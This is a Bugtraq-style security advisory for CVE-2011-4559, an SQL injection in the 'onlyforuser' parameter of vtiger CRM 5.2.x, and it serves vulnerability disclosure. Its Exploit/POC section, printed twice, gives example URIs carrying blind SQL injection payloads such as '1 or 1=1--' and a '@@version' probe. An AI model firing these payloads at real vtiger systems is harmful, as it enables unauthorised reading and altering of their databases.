vtiger CRM 'onlyforuser' Parameter SQL Injection Vulnerability
BID:49948
Info
vtiger CRM 'onlyforuser' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 49948 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-4559 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 05 2011 12:00AM |
| Updated: | Dec 05 2011 06:07PM |
| Credit: | Aung Khant, YGN Ethical Hacker Group and Myanmar |
| Vulnerable: |
vtiger vtiger CRM 5.2.1 vtiger vtiger CRM 5.2 |
| Not Vulnerable: | |
Discussion
vtiger CRM 'onlyforuser' Parameter SQL Injection Vulnerability
vtiger CRM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
vtiger CRM 5.2.1 is vulnerable; prior versions may also be affected.
vtiger CRM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
vtiger CRM 5.2.1 is vulnerable; prior versions may also be affected.
Exploit / POC
vtiger CRM 'onlyforuser' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d1--
http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d2--
http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d5--
http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d4--
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d1--
http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d2--
http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d5--
http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d4--
References
vtiger CRM 'onlyforuser' Parameter SQL Injection Vulnerability
References:
References:
- vtiger Homepage (vtiger)
- Wiki VtigerCRM (Vtiger)
- vTiger CRM 5.2.x <= Blind SQL Injection Vulnerability (Aung Khant, YGN Ethical Hacker Group and Myanmar)